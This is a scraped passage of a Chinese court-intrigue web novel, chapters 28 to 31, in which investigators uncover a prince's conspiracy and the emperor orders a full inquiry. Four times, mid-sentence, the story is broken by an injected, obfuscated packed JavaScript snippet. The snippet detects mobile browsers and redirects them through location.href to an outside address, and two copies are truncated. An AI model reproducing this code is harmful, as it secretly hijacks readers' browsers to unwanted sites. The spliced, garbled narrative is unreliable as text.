中年男子冷哼一声:“柳文渊那个老狐狸，留着他始终是祸患。你们想办法，在问斩前，做掉他。” “是。” “还有，”中年男子转身——江清砚终于看清了他的脸，心头一震！ 是陈文正！ 那个本该在牢里等死的礼部郎中！ 他怎么会在这里？还穿着锦袍，住在这荒宅里？ “江清砚那边，查得怎么样了？”陈文正问。 “回大人，江清砚在查各部的人事档案。”黑衣人答道，“看样子，是想把咱们的人都揪出来。” 陈文正眼中闪过寒光:“不能让他再查下去了。你们想办法，制造点‘意外’。” “大人，”黑衣人犹豫道，“江清砚现在有尚方宝剑，又是陛下钦点的钦差。动他，会不会……” “怕什么？”陈文正冷笑，“他一个病秧子，死了就死了。陛下还能为一个死人，跟咱们翻脸不成？” 窗外的江清砚握紧了拳。 谢云辞按住他的手，示意他冷静。 屋里，对话还在继续。 “对了，二皇子那边传话，”陈文正压低声音，“说咱们这边动作太大，已经引起陛下注意了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16863504|191730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让咱们最近收敛些，等风头过去再说。” 二皇子。 果然是他。 江清砚和谢云辞对视一眼，都看到了对方眼中的凝重。 “那三皇子……”黑衣人问。 “老三？”陈文正嗤笑，“一个废物，成事不足败事有余。二皇子早就想除掉他了，这次正好，借水鬼帮的案子，让他彻底失势。你们记住，从今往后，咱们的主子，只有二皇子一人。” “是。” “行了，你们先回去。记住，柳文渊的事，三天内必须办妥。” “遵命。” 两个黑衣人躬身退出。陈文正则走到屋角，搬开一个破旧的木箱，下面竟是个暗格。他从暗格里取出一个小木盒，打开，里面是几封书信。 他仔细看了看，又将木盒放回，重新盖好木箱。 做完这些，他才吹熄蜡烛，从后门离开了。 等陈文正走远，江清砚和谢云辞才悄无声息地翻进屋里。 “找那个木盒。”江清砚低声道。 两人搬开木箱，果然找到暗格。木盒没锁，打开一看，里面是十几封书信。信纸泛黄，墨迹陈旧，最早的一封，日期是六年前。 永昌十三年。 谢云辞拿起那封信，展开一看，脸色骤变。 信的内容很简单，只有几句话: “谢侍郎查军饷案甚紧，恐生变故。宜早做打算。赵。” 落款只有一个字:赵。 赵文远。 而收信人那里，写着一个名字:陈文正。 六年前，谢云辞的父亲，兵部侍郎谢远山，正是因为军饷案被诬陷贪污，满门抄斩。 原来……陈文正也牵扯其中！ 谢云辞的手在颤抖，眼中燃起熊熊怒火。 江清砚握住他的手，低声道:“谢兄，冷静。现在不是时候。” 谢云辞深吸一口气，强迫自己压下杀意。他继续翻看其他信件——都是赵文远、柳文渊、陈文正三人往来的密函，内容涉及军饷案、漕运案、科举案……一桩桩，一件件，触目惊心。 而最底下的一封信，日期是三个月前，落款是……二皇子。 信中写道:“漕运之利，可分。科举人选，需慎。柳文渊可用，赵文远可制。陈卿居中调和，功成之后，必有厚报。” 短短数语，却将二皇子、赵文远、柳文渊、陈文正四人的关系，交代得清清楚楚。 铁证。 这才是真正的铁证！ 江清砚小心收起这些信件，低声道:“走。此地不宜久留。” 两人原路返回。回到刑部时，天色已晚。 李崇明还在等他们。见两人平安归来，松了口气，但看到他们带回的信件时，脸色又凝重起来。 “这些信……”他翻看着，手在发抖，“若是真的，那二皇子……” “李大人，”江清砚沉声道，“这些信，必须立刻呈报陛下。” “我知道。”李崇明点头，“但……陛下会信吗？二皇子势大，又有太后撑腰。若无十足把握，贸然揭发，恐怕……” “所以需要时机。”谢云辞忽然道，“三日后的问斩，就是时机。” 江清砚看向他，明白了他的意思。 三日后，赵文远和柳文渊问斩。届时，朝野瞩目。若在行刑前，将这些证据公之于众…… 那二皇子，就再也藏不住了。 “但这样做，风险太大。”李崇明犹豫道，“二皇子若狗急跳墙，恐怕……” “他已经狗急跳墙了。”江清砚轻声道，“刑部大牢纵火，就是证明。李大人，我们没有退路了。” 李崇明沉默良久，最终缓缓点头:“好。三日后，我陪你们一起。” 夜色渐深。 江清砚和谢云辞回到厢房。灯下，两人看着桌上那些信件，久久无言。 六年的冤案，水鬼帮的真相，皇子的阴谋……所有线索，终于连成了一张完整的网。 而他们，就在网的中心。 “清砚，”谢云辞忽然开口，声音有些哑，“等这件事了了，我……” 他想说什么，却又顿住。 江清砚看向他，目光温柔:“等这件事了了，我陪你回谢家老宅，给你爹娘上柱香。” 谢云辞眼眶一热，重重点头。 窗外，秋风呜咽。 三日后，将是一场决战。 而他们，已经准备好了。 29. 第 29 章 第二十九章毒源迷踪 刑部大牢纵火后的第二日，京城下起了雨。 秋雨细密，将整座城市笼罩在一片灰蒙蒙的雾霭中。街道上行人稀少，车马稀疏，连平日里喧闹的市井也安静了许多，只有雨打瓦檐的滴答声，单调而绵长。 江清砚站在刑部后衙的屋檐下，看着雨水顺着檐角连成线，在青石板上溅起细小的水花。他手里握着一封刚收到的密信，信纸被雨水打湿了些，墨迹微微晕开。 信是李崇明派人送来的，说赵文远醒了，但神智混乱，时而清醒时而糊涂，问什么都答非所问。大夫说，这是吸入过多浓烟导致的脑损伤，能不能恢复，难说。 至于柳文渊，烧伤不重，但拒绝开口。从昨日到现在，一言不发，连水都不肯喝，像是打定主意要绝食而死。 线索，又断了。 江清砚闭上眼睛，脑中那座“记忆宫殿”缓缓展开。他将所有线索一一摆放:水鬼帮账本、各部人事档案、陈文正的密信、赵文远的疯癫、柳文渊的沉默…… 还有，二皇子。 这些线索看似杂乱，却都指向同一个方向——一个庞大的、渗透朝堂的势力网。而这张网的结点，就在三日后将要问斩的两个人身上。 可他们若死了，或者疯了，或者不肯开口，这张网就永远无法完全揭开。 “清砚。” 谢云辞的声音从身后传来。他撑着伞走过来，伞面倾斜，大半遮在江清砚头顶。 “雨凉，进屋吧。” 江清砚转身，看到谢云辞肩头湿了一片——方才伞都遮在他这边了。 “你伤口不能沾水。”他皱眉。 “一点小雨，不碍事。”谢云辞不在意道，“李大人找我们，说有事商议。” 两人来到刑部正堂时，李崇明正对着桌上的几样东西发愣。 那是一个小巧的铜炉，几根细香，还有几个颜色诡异的瓷瓶。铜炉里残留着灰白色的香灰，气味刺鼻，闻之头晕。 “这是从柳文渊的牢房里搜出来的。”李崇明见两人进来，沉声道，“藏在马桶夹层里，若非今日狱卒清扫，根本发现不了。” 江清砚上前，拿起一根细香闻了闻，脸色微变:“曼陀罗花粉、醉鱼草根……还有一味……是‘牵机引’的引子。” 又是“牵机引”。 都水司那些“暴毙”的官员，中的就是这种毒。而柳文渊的牢房里，竟藏有这种毒的引子。 “他想做什么？”谢云辞冷声道，“在牢里下毒？” “恐怕是准备自杀。”江清砚放下细香，“‘牵机引’发作需要三日，若他在问斩前一日服下，行刑时正好毒发。届时，所有人都会以为他是‘突发心疾’，而不是……被人灭口。” 好毒的计策。 既能保住身后之人，又能死得“体面”。 “可他没有服毒。”李崇明皱眉，“若非发现这些，我们都不知道他有这个打算。” “因为他在等。”江清砚缓缓道，“等一个机会，或者……等一个人。” 等谁？ 二皇子？还是陈文正？ 不得而知。 “还有这个。”李崇明又推过来一个纸包。 纸包里是些暗红色的粉末，气味腥甜，像某种干涸的血迹。 “这是什么？”谢云辞问。 “从赵文远吐的痰里发现的。”李崇明脸色难看，“大夫验过，说是……‘血竭’的粉末，但掺了其他东西。具体是什么，还在查。” 血竭。 外伤止血的药材，也是血衣门修炼邪功的辅助药物。 江清砚脑中灵光一闪:“赵文远是不是练过武？” 李崇明一怔:“你这么一说……赵文远年轻时确实习过武，后来入仕才荒废了。怎么了？” “血竭若是内服，配合特定的心法，可强行激发潜能，让人在短时间内精神亢奋，力大无穷。”江清砚快速道，“但药效过后，会元气大伤，甚至……神智混乱。” 所以赵文远的疯癫，可能不只是浓烟所致，还有药物的影响？ 可谁给他下的药？为什么要让他疯？ “赵文远疯前，最后见的人是谁？”谢云辞问。 “只有狱卒送饭。”李崇明道，“但那些狱卒都查过了，没有问题。” “饭菜呢？” “也验了，无毒。” 那就奇怪了。 江清砚沉思片刻，忽然道:“李大人，能否带我们去看看赵文远？” 刑部大牢的秘密牢房，比寻常牢房更加阴暗潮湿。墙上只有一个小小的气窗，透进些许天光，勉强能看清里面的情形。 赵文远被单独关在一间里。他蜷缩在墙角，抱着膝盖，嘴里念念有词，听不清在说什么。头发散乱，脸上有烟熏的痕迹，眼神涣散，确实是一副疯癫模样。 江清砚站在栅栏外，仔细观察他。 赵文远似乎感觉到了目光，猛地抬头，眼睛直勾勾地盯着江清砚。那一瞬间，江清砚看到他眼中闪过一抹极快的清明——像黑夜里的闪电，稍纵即逝。 “赵大人。”江清砚开口。 赵文远没反应，依旧盯着他，嘴唇翕动，像在说什么。 江清砚凑近些，凝神去听—— “……莲……花……池……” 莲花池？ 江清砚心头一动。莲花，是都水司那位“暴毙”官员的私徽。而莲花池……京城只有一处有名的地方叫莲花池——城南的皇家园林，清漪园。 清漪园是皇家别苑，寻常人不得入内。但赵文远曾是吏部侍郎，有资格出入。 “赵大人，莲花池怎么了？”江清砚追问。 赵文远却不说话了。他低下头，又开始喃喃自语，这次声音大了些，能听清几个词:“……死人……都死了……下一个……是我……” 死人？都死了？ 江清砚和谢云辞对视一眼。他们同时想起都水司那些“暴毙”的官员，还有水鬼帮那些“失踪”的举子。 难道……莲花池是埋尸地？ “李大人，”江清砚转身，“可否派人去清漪园的莲花池查看？” 李崇明神色凝重:“清漪园是皇家禁地，没有圣旨，不得擅入。况且……莲花池很大，若真埋了尸，也不是一时半会儿能找到的。” 这倒是实话。 江清砚沉吟片刻，又道:“那赵文远入狱前，最后一次去清漪园是什么时候？” “这……”李崇明想了想，“我得去查查。” “还有，”谢云辞忽然开口，“赵文远疯前，除了狱卒，还有谁接触过他？比如……大夫？” “大夫是刑部的人，可靠。”李崇明道，“不过……倒是有一件事很奇怪。” “什么？” “赵文远刚被押入天牢时，曾有个自称是他老家亲戚的人来探监。”李崇明回忆道，“按规矩，重犯不得探视，那人就被拦下了。但据守卫说，那人离开时，神色慌张，还在牢门外徘徊了很久。” 老家亲戚？ 江清砚想起赵文远的籍贯——他是北地人，老家在蓟州。而蓟州……正是水鬼帮活跃的地方。 “那人长什么样？”谢云辞问。 “守卫说是个中年汉子，穿粗布衣裳，脸上有疤，说话带着蓟州口音。”李崇明顿了顿，“对了，守卫还说，那人右手虎口有个刺青——船锚缠绕水蛇。” 水鬼帮的人！ 江清砚和谢云辞心头同时一震。 水鬼帮的人来探赵文远？为什么？ “那人后来去哪了？”谢云辞急问。 “不知道。”李崇明摇头，“守卫见他可疑，本想扣下，但那人身手了得，打伤几个守卫，跑了。” 跑了。 线索又断了。 江清砚闭上眼睛，努力将所有的碎片拼凑起来:赵文远、水鬼帮、莲花池、蓟州口音的探监人…… 忽然，他睁开眼，看向李崇明:“李大人， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“他刚才看我的眼神，有一瞬间很清醒。”江清砚回忆道，“而且他说的‘莲花池’、‘药庐’，都不是疯话能编出来的。除非……他是装疯。” 装疯？ 谢云辞皱眉:“为什么？” “为了自保。”江清砚分析道，“赵文远知道太多秘密，若他清醒，二皇子一定会杀他灭口。但若他疯了，一个疯子的话没人信，反而能保住命。” “可他现在被关在刑部大牢，早晚要问斩。装疯有什么用？” “问斩前，或许……会有人来救他。”江清砚目光幽深，“或者，有人需要他活着，作为……筹码。” 筹码？ 谢云辞明白了。赵文远知道二皇子的秘密，若他落在其他人手里，比如……三皇子，或者别的势力，就能用来要挟二皇子。 所以二皇子要杀他，而其他势力……可能要保他。 “那我们现在怎么办？” “等。”江清砚看向雨中朦胧的京城，“等药庐的消息，等清漪园的搜查结果，也等……那个蓟州口音的探监人，再次出现。” 他说着，忽然咳嗽起来。 咳得撕心裂肺，苍白的脸上泛起不正常的潮红。谢云辞连忙扶住他，为他拍背顺气。 “你的身体……”谢云辞担忧道。 “没事。”江清砚喘息着，从怀中取出药瓶，倒出一粒药丸吞下，“老毛病了。” 谢云辞看着他依旧苍白的脸，忽然道:“清砚，等这件事了了，我们就离开京城。去润州，去江南，去哪儿都好。我带你找最好的大夫，一定治好你的病。” 江清砚笑了，那笑意很淡，却带着真实的温暖。 “好。”他轻声道，“等这件事了了，我们就走。” 雨声渐急。 两人在伞下并肩而行，身影在雨中渐渐模糊。 而他们不知道的是，此刻刑部大牢的秘密牢房里，赵文远正趴在栅栏边，眼睛死死盯着他们离去的方向。 那眼神，清明得可怕。 他嘴唇翕动，无声地说出几个字: “药庐……地窖……账本……” 然后，他缓缓退回到墙角，重新蜷缩起来，恢复了那副疯癫的模样。 仿佛刚才那瞬间的清醒，从未存在过。 30. 第 30 章 第三十章御前机会 雨连着下了三日，终于在第三日午后停了。天空依旧阴沉，但总算透出些微的天光，像一块洗得发白的旧布，勉强罩在京城上空。 刑部正堂里，气氛比窗外的天色更凝重。 李崇明坐在主位，手里捏着一份刚从蓟州送回的急报，指节因用力而泛白。谢云辞站在他身侧，目光紧盯着那份急报，眉头紧锁。江清砚坐在下首，脸色比前几日更苍白了几分，胸口的隐痛像细密的针，一下下扎着，但他强忍着，目光平静地看着李崇明。 “药庐……被烧了。”李崇明终于开口，声音干涩，“我们的人赶到时，只剩一片焦土。什么都没留下。” 预料之中的结果。 江清砚闭了闭眼，再睁开时，眼中已无波澜:“清漪园那边呢？” “进不去。”李崇明摇头，“清漪园是皇家禁地，守卫是御林军，没有圣旨，连我都进不去。更别说搜查了。” 两条线索，全断了。 堂上一片死寂，只有窗外屋檐滴水的嗒嗒声，单调而沉闷。 许久，李崇明才再次开口，声音更低:“还有一件事……今日早朝，二皇子上了道奏折。” 他从袖中取出一份奏折抄本，推给江清砚。 奏折很长，但核心意思很简单:水鬼帮一案已了，主犯赵文远、柳文渊三日后问斩，余孽也已伏法。请陛下下旨，将此案归档封存，以免继续追查引发朝堂动荡，影响国本。 “影响国本”四个字，写得尤其重。 这是威胁，也是警告。 江清砚看完奏折，抬起头:“陛下的意思呢？” “陛下留中不发。”李崇明道，“但朝中已有不少大臣附议，说此案查了两个月，牵连甚广，人心惶惶，是该了结了。” “了结？”谢云辞冷笑，“那些失踪的举子呢？那些被渗透的衙门呢？就这么算了？” “不是算了，是……”李崇明顿了顿，声音艰涩，“是到此为止。陛下需要朝局稳定，不能再查下去了。” 到此为止。 四个字，轻飘飘的，却像千斤重石，压得人喘不过气。 江清砚握紧了拳，指甲深深掐进掌心。他能感觉到谢云辞的愤怒——通过那奇妙的联结，一股灼热的、压抑的怒意在胸中翻涌，分不清是自己的，还是谢云辞的。 同生共死，连情绪都共享了。 “李大人，”江清砚缓缓开口，声音平静得可怕，“若我们……有铁证呢？” 李崇明一怔:“什么铁证？” 江清砚从怀中取出那几封从陈文正荒宅里搜出的密信，放在桌上:“这些信，足以证明二皇子与赵文远、柳文渊勾结，染指漕运、科举。还有……” 他又从袖中取出一张纸，上面是他凭记忆默写的、水鬼帮账本中关于“特殊货物”的部分记录:“这些‘特殊货物’，价格从黄金千两到万两不等。买主是谁？用途是什么？若继续追查，一定能挖出更多。” 李崇明看着那些信件和记录，眼中闪过挣扎。许久，他才苦笑道:“江钦差，这些证据……不够。” “不够？” “不够扳倒一个皇子。”李崇明直视江清砚，“二皇子是嫡子，母族势大，在朝中根基深厚。这些信件，他可以说成是赵文远伪造，意图攀咬。这些账目，他可以说成是水鬼帮的栽赃。没有直接证据证明他参与其中，陛下……不会轻易动他。” 不会轻易动。 因为动一个皇子，就是动国本。 江清砚明白了。 他缓缓站起身，走到窗边，看着窗外灰蒙蒙的天空。雨后的京城，空气湿冷，带着泥土和落叶腐烂的气息。 “李大人，”他背对着李崇明，轻声道，“我想面圣。” 李崇明一愣:“现在？” “现在。” “可是陛下今日……” “就现在。”江清砚转身，目光清亮而坚定，“我有话，必须当面跟陛下说。” 李崇明看着这个苍白清瘦的少年，看着他眼中那种近乎执拗的坚定，忽然想起了当年的自己——也曾这样，以为凭着满腔热血和正义，就能改变什么。 可最终，都被现实磨平了棱角。 “江钦差，”他缓缓道，“你可知道，面圣陈情，若触怒天颜，是什么后果？” “知道。”江清砚点头，“轻则罢官，重则……死罪。” “那你还……” “但我更知道，若现在不说，等赵文远、柳文渊一死，此案就真的到此为止了。”江清砚的声音很轻，却字字清晰，“那些失踪的人，就永远找不到了。那些被渗透的衙门，就永远清不了了。而二皇子……会继续在朝中经营势力，总有一天，会酿成更大的祸患。” 他顿了顿，看着李崇明:“李大人，您为官多年，该比我更清楚——有些事，若现在不做，以后就再也没机会了。” 李崇明沉默了。 他看着江清砚，又看看谢云辞，最终长长叹了口气。 “好。”他说，“我陪你去。但你要记住，有些话，该说；有些话，不该说。分寸……要把握好。” “学生明白。” 养心殿内，龙涎香的味道比上次更浓了。 江清砚跪在冰冷的地砖上，额头触地。永昌帝坐在御案后，正批阅奏折，朱笔在纸上划过，发出沙沙的轻响。李崇明跪在他身后一步，垂着头，大气不敢出。 殿内一片死寂，只有笔尖划过纸面的声音。 许久，永昌帝才放下笔，抬起头，目光落在江清砚身上。 “江清砚，你急着见朕，所为何事？” 江清砚抬起头，但依旧保持着跪姿:“陛下，臣为水鬼帮一案而来。” “案子不是结了吗？”永昌帝声音平静，“三日后，赵文远、柳文渊问斩。余孽伏法。还有什么问题？” “有。”江清砚叩首，“此案虽了，但真相未明。” “哦？”永昌帝挑眉，“什么真相？” “第一，那些失踪的举子，至今下落不明。”江清砚一字一句道，“账本记载，水鬼帮掳掠举子共计八十七人，找到的只有三十四人。其余五十三人，生不见人，死不见尸。他们去了哪里？被谁买走？用作什么用途？” 他顿了顿，继续道:“第二，朝中各部，皆有被水鬼帮渗透的迹象。户部、礼部、翰林院……甚至都察院、大理寺，都有官员来历不明，履历可疑。若继续追查，定能揪出更多。” “第三，”江清砚抬起头，直视永昌帝，“此案背后，恐有皇子参与。” 最后这句话，石破天惊。 李崇明脸色煞白，头垂得更低。 永昌帝的眼神骤然锐利:“江清砚，你可知你在说什么？” “臣知道。”江清砚从怀中取出那些密信和账目摘要，双手呈上，“此乃从陈文正处搜出的密信，以及水鬼帮账本中关于‘特殊货物’的记录。请陛下御览。” 太监接过，呈给永昌帝。 永昌帝一封封看过去，脸色越来越沉。当看到二皇子那封信时，他手一颤，信纸飘落在地。 “这是……真的？”他声音嘶哑。 “千真万确。”江清砚叩首，“臣愿以性命担保。” 永昌帝沉默了。 他盯着地上那封信，许久，忽然笑了。那笑意很冷，带着一种深深的疲惫。 “江清砚，”他缓缓道，“你是个聪明人，该知道……有些事，知道了，未必是好事。” “臣知道。”江清砚平静道，“但臣更知道，若为了一时太平，而纵容奸邪，将来必酿大祸。陛下，水鬼帮掳掠举子，染指科举，渗透朝堂——这不是普通的贪腐案，这是动摇国本的大案！若不彻查，大周的未来，就攥在这些宵小之徒手里！” 他说得激动，胸口剧痛，猛地咳嗽起来。咳得撕心裂肺，嘴角溢出一丝血迹。 “清砚！”谢云辞忍不住出声，却被李崇明死死按住。 永昌帝看着他咳血的样子，眼中闪过复杂的神色。 “你的身体……”他问。 “臣……无碍。”江清砚喘息着，抹去嘴角的血迹，“请陛下……彻查此案。” 永昌帝站起身，走到窗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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许久，他才睁开眼，一字一句道:“天子犯法，与庶民同罪。皇子……亦是如此。” “哪怕……是朕最疼爱的儿子？” “哪怕……是陛下最疼爱的儿子。” 四目相对。 永昌帝眼中闪过挣扎、痛苦，最终化作一片深沉的决绝。 “好。”他缓缓道，“朕给你权力。三日后，赵文远、柳文渊问斩前，朕会当众宣布——水鬼帮一案，由你主理，三司协办，彻查到底。无论牵扯到谁，一查到底。” “谢陛下隆恩！”江清砚叩首。 “但你要记住，”永昌帝的声音忽然转冷，“这是朕给你的最后一次机会。若查不出结果，或者……查出的结果让朕失望，那你……就自行了断吧。” 自行了断。 四个字，重如千钧。 江清砚却笑了。 那笑意很淡，却带着释然。 “臣，领旨。” 走出养心殿时，天已经完全黑了。 宫灯次第亮起，将长长的宫道照得如同白昼。可江清砚却觉得，前路比任何时候都黑暗。 “清砚，”谢云辞扶住他，担忧道，“你的身体……” “没事。”江清砚摇头，胸口的剧痛已经麻木了，“谢兄，我们只有三天时间。” 三天。 要查清所有的线索，要找到所有的证据，要……扳倒一个皇子。 这几乎是不可能完成的任务。 但江清砚知道，他没有退路了。 要么查个水落石出，要么……死。 “我陪你。”谢云辞只说了三个字。 三个字，却重如千钧。 两人并肩走出宫门。门外，雨又开始下了。 秋雨潇潇，将整座京城笼罩在一片朦胧的水汽中。 而他们前方的路，比这夜色更暗，比这雨水更冷。 但他们必须走下去。 因为这是他们选择的路。 也是唯一的路。 31. 第 31 章 第三十一章金殿戴枷 十月二十八，寅时三刻，天还未亮。 刑部大牢最深处，天字号牢房的门缓缓打开。两个狱卒端着木盘走进去，盘里放着最后一顿饭——白米饭、一碗肉、一碟咸菜、一壶酒。按照惯例，死囚行刑前，会得到这样一顿饱饭，算是人世间最后的仁慈。 赵文远蜷缩在墙角，头发散乱，眼神涣散，对端进来的饭菜毫无反应。他嘴里念念有词，声音含糊，听不清在说什么。狱卒把饭菜放在他面前，叹了口气，退了出去。 隔壁牢房的柳文渊却坐得笔直。他换上了一身干净的囚服，头发梳得一丝不苟，脸上甚至还带着平静的微笑。见狱卒进来，他微微颔首，语气温和:“有劳了。” 狱卒放下饭菜，欲言又止，最终还是低声道:“柳大人……您还有什么未了的心愿吗？” 柳文渊摇摇头，拿起筷子，夹了一筷肉，细嚼慢咽，吃相斯文得像在赴宴。吃完，他又倒了一杯酒，慢慢饮尽，这才抬头:“告诉江钦差，老朽……在黄泉路上等他。” 狱卒打了个寒噤，不敢多言，躬身退下。 牢门重新锁上。走廊里响起沉重的脚步声，是押解的官差来了。时辰到了。 卯时正，刑部大门洞开。 两辆囚车缓缓驶出，车轮碾过青石板路，发出沉闷的轱辘声。赵文远和柳文渊被五花大绑，跪在囚车里，颈后插着亡命牌，牌上朱笔写着“斩”字，在晨光下猩红刺目。 街道两旁，早已挤满了看热闹的百姓。有人指指点点，有人窃窃私语，还有人朝囚车扔烂菜叶、臭鸡蛋。赵文远依旧疯疯癫癫，对周遭毫无反应。柳文渊却闭着眼，神情平静，仿佛周遭的一切喧嚣都与他无关。 囚车驶过朱雀大街，转向午门——按律，斩立决的重犯，要在午门外当众行刑，以儆效尤。 然而，当囚车抵达午门时，所有人都愣住了。 午门外没有搭设刑台，没有监斩官，也没有刽子手。只有两队御林军肃立两旁，中间让出一条道。道的尽头，是巍峨的宫门，宫门大开，隐约能看到里面金碧辉煌的殿堂。 “这……这是怎么回事？”围观的百姓议论纷纷。 “不是要斩首吗？怎么往宫里去了？” “难道……改判了？” 议论声中，囚车继续前行，穿过宫门，驶向金銮殿。 金銮殿上，文武百官早已列班等候。 今日不是大朝会，但所有在京的四品以上官员，全都被急召入宫。朝臣们面面相觑，低声交谈，空气中弥漫着不安的气息。 永昌帝高坐龙椅，面色沉静，看不出喜怒。他身旁立着掌印太监，手捧明黄圣旨，神色肃穆。 殿外忽然传来一声高唱: “带人犯——” 所有人的目光都投向殿门。 只见两队御林军押着两个人走进来——正是赵文远和柳文渊。他们戴着枷锁，脚镣拖在地上，发出刺耳的哗啦声。 赵文远被押进来时，依旧疯疯癫癫，嘴里念念有词。柳文渊却站得笔直，虽戴枷锁，却依然保持着文人的风骨，一步步走到殿中央，跪下，叩首。 “罪臣柳文渊，叩见陛下。” 他的声音平稳，没有丝毫颤抖。 永昌帝看着他，许久，才缓缓开口:“柳文渊，你可知罪？” “臣知罪。”柳文渊叩首，“勾结匪类，扰乱科举，罪该万死。” “那赵文远呢？”永昌帝看向一旁疯癫的赵文远。 “赵大人……亦是如此。”柳文渊答得滴水不漏。 殿上一片哗然。 不少朝臣露出愤慨之色——这两人，死到临头还不肯说实话！ 永昌帝却笑了。 那笑意很冷，带着一种洞察一切的嘲讽。 “柳文渊，你以为……把所有罪责揽在自己身上，就能保住身后之人吗？” 柳文渊身体微微一僵，但很快恢复平静:“陛下明鉴，此案皆是臣与赵文远所为，与他人无关。” “无关？”永昌帝从御案上拿起一沓书信，扔在他面前，“那这些信，是怎么回事？” 那是从陈文正荒宅搜出的密信，包括二皇子那封。 柳文渊看着那些信，脸色终于变了。 “这……这是伪造！”他嘶声道，“定是有人栽赃陷害！” “伪造？”永昌帝冷笑，“那朕问你——永昌十六年八月，你通过陈文正，将五个被水鬼帮掳掠的举子送入观澜书院，这事，也是伪造？” 柳文渊如遭雷击。 “还有，”永昌帝继续道，“永昌十七年三月，你收受都水司郎中周世昌黄金三千两，为他儿子周文远疏通科举关节，这事，也是伪造？” “永昌十八年五月，你与赵文远密谋，借水鬼帮之手，除掉三皇子的心腹官员，这事，也是伪造？” 一桩桩，一件件，时间、地点、人物、金额……全都准确无误！ 柳文渊脸色惨白如纸，浑身发抖。 他怎么也想不到，永昌帝竟掌握了这么多证据！ “柳文渊，”永昌帝的声音陡然转厉，“朕再问你最后一次——此事，到底还有谁参与？！” 殿上一片死寂。 所有朝臣都屏住了呼吸，等待着柳文渊的回答。 柳文渊跪在地上，低着头，肩膀剧烈颤抖。许久，他才抬起头，眼中已是一片死灰。 “陛下……”他声音嘶哑，“臣……无话可说。” 无话可说。 这四个字，等于默认了一切。 朝臣们哗然！ “陛下！”一个老臣出列，颤声道，“若柳文渊所言属实，那此事……牵扯太广了！臣请陛下，彻查到底！” “臣附议！”又一人出列，“科举乃国家抡才大典，岂容宵小染指！必须查个水落石出！” “臣附议！” “臣也附议！” 一时间，附议之声此起彼伏。 永昌帝看着跪了一地的朝臣，眼中闪过一丝欣慰，但更多的，是深沉的疲惫。 “众卿平身。”他缓缓道，“此案，朕已交由江清砚主理，三司协办。无论牵扯到谁，一查到底。” 江清砚？ 朝臣们面面相觑。那个刚中会元、揭开水鬼帮案子的书生？他才多大？能担此重任吗？ “陛下，”一个须发皆白的老臣出列，正是内阁首辅杨文正，“江清砚虽揭发大案有功，但毕竟年轻，又无官场经验。此案干系重大，恐非他能胜任。” “杨阁老说得对。”另一人附和，“不如由三司主理，江清砚从旁协助。” 永昌帝摇头:“此事，非江清砚不可。” “为何？” “因为……”永昌帝顿了顿，目光扫过殿上众臣，“因为此案牵扯太深，朝中官员，朕……信不过。” 信不过。 这三个字，像一记重锤，砸在每个人心上。 是啊，水鬼帮渗透朝堂，谁也不知道，身边站着的同僚，是不是那些“失踪”的举子冒充的。谁也不知道，平日里道貌岸然的官员，是不是收了水鬼帮的贿赂，为他们大开方便之门。 这种情况下，用朝中官员查案，无异于让贼抓贼。 只有江清砚——一个毫无背景、刚入京城的书生，才是真正干净的人选。 “可是陛下，”杨文正仍不甘心，“江清砚的身体……” “朕知道。”永昌帝打断他，“所以，朕赐他尚方宝剑，准他便宜行事。另派六扇门总捕谢云辞协助，务必查明真相。” 话音刚落，殿外传来一声高唱: “江清砚到——” 所有人的目光再次投向殿门。 只见一个身着月白直裰的少年，缓缓走入殿中。他脸色苍白，身形清瘦，走得很慢，每一步都显得有些吃力。但他背脊挺直，眼神清澈而坚定，像一株在风雪中傲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16863507|191730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然挺立的青竹。 正是江清砚。 他走到殿中央，在柳文渊身侧跪下，叩首:“臣江清砚，叩见陛下。” 永昌帝看着他，眼中闪过一丝复杂，但很快恢复平静。 “江清砚，朕问你——此案，你敢查吗？” 江清砚抬起头，目光平静:“臣敢。” “哪怕……牵扯到皇子？” “皇子犯法，与庶民同罪。” “哪怕……朝野震动？” “长痛不如短痛。” 永昌帝点头，从掌印太监手中接过圣旨，朗声宣读: “奉天承运皇帝，诏曰:水鬼帮一案，牵扯科举，祸乱朝纲，罪大恶极。今特命会元江清砚为钦差大臣，主理此案。三司协办，全力配合。赐尚方宝剑，准先斩后奏。无论牵扯何人，一查到底，绝不姑息。钦此——” 圣旨读完，满殿寂静。 江清砚叩首:“臣，领旨谢恩。” 永昌帝将圣旨递给他，又从腰间解下一柄宝剑——正是之前赐的那柄尚方宝剑。 “江清砚，”他沉声道，“这把剑，朕再赐你一次。但你要记住——剑是双刃，既能斩奸邪，也能伤自身。如何用，全看你自己。” “臣明白。”江清砚双手接过宝剑。 剑身乌沉，入手冰凉，却仿佛有千钧之重。 